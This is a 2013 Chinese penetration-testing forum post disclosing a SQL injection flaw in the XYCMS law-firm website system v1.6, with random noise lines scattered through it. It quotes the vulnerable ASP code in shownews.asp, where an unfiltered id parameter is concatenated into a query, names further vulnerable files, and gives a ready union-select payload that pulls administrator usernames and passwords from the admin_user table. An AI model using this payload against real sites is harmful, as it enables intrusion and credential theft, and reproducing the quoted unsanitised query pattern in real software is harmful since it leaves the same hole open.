中国网络渗透测试联盟

标题: XYCMS律师事务所建站系统注入漏洞 [打印本页]

---

作者: admin    时间: 2013-4-4 17:28
标题: XYCMS律师事务所建站系统注入漏洞
前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似
% V+ o7 ?' `+ b; y# W
淫荡分割线
/ v. c7 f- z! m  F$ d--------------------------------------------------------
' Q; a  t- ]+ S+ G
! i9 W; r$ j0 ^* |# L  u" K审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
" z: }5 x2 O" N7 T- P7 o7 q源码地址:http://down.chinaz.com/soft/29233.htm

漏洞文件:shownews.asp
3 O6 r$ Q; I: y, x. w/ h漏洞代码：7-13行


<%
# v& B% i' h+ `2 m4 Hid=request.QueryString("id")
5 F$ p& I" \( j$ |   
set snews=server.createobject("adodb.recordset")
exec="select * from [news] where id="&id
snews.open exec,conn,1,1
%>


% P: [) m2 w+ q/ B* ^" u; v2 T什么过滤都没有  直造成注入
1 M/ v9 C( z4 Q: B& H/ z
! F! _6 p2 Y/ Y* N7 k* e; b注入点:http://127.0.0.1:99/shownews.asp?id=xx
8 D% K7 ]2 p. e# L6 f: |0 |
4 ?) `) I8 w4 }其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找

! n9 S" z+ m+ I4 }: E: ^) t
7 p# Q, a0 o% Z; v- G) yexp: union select 1,admin,password,4,5,7 from admin_user
​

---

欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)

Powered by Discuz! X3.2